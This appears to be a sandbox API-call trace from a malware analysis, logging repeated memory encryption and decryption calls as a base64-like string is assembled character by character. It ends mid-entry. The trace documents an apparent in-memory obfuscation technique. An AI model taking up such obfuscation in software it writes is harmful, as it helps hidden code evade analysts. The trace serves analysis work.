(in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.750] SysStringLen (param_1="YWM1") returned 0x8 [0128.750] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.750] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.750] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.750] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.751] SysStringLen (param_1="YWM1O") returned 0x8 [0128.751] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.751] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.751] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.751] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.751] SysStringLen (param_1="YWM1OT") returned 0x8 [0128.751] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.751] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.751] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.751] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.751] SysStringLen (param_1="YWM1OTE") returned 0x8 [0128.751] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.751] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.751] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.751] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.751] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0128.751] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.751] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.751] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.751] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.751] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0128.751] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.751] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0128.751] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.752] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.752] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0128.752] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0128.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0128.752] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.752] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0128.752] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0128.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0128.752] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.752] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0128.752] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0128.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0128.752] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.752] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0128.752] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0128.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0128.752] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.753] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0128.753] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0128.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0128.753] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.753] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0128.753] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0128.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0128.753] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.753] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0128.753] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0128.753] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.753] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0128.753] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.754] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0128.754] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0128.754] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.754] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0128.754] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.754] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0128.754] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0128.754] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.754] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0128.754] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.754] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0128.754] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0128.754] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.754] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0128.754] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.755] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0128.755] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0128.755] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.755] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0128.755] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.755] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0128.755] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0128.755] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.755] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0128.755] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.755] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0128.755] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0128.755] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.755] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0128.755] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.755] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0128.755] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0128.755] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.755] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0128.755] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.755] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.755] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.756] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.756] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0128.756] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.756] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0128.756] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.756] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0128.756] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0128.756] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.756] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0128.756] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.756] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0128.756] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0128.756] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.756] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0128.756] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.756] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0128.756] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0128.756] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.756] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0128.756] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.757] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0128.757] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0128.757] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.757] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0128.757] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.757] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0128.757] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0128.757] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.757] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0128.757] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.757] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0128.757] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0128.757] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.757] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0128.757] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.757] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0128.757] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0128.757] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.758] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0128.758] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.758] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.758] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.758] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.758] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0128.758] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.758] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0128.758] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.758] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0128.758] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0128.758] SystemFunction041 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.758] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0128.758] SystemFunction040 (in: Memory=0x8e7017c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7017c) returned 0x0 [0128.758] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0128.758] SysStringLen 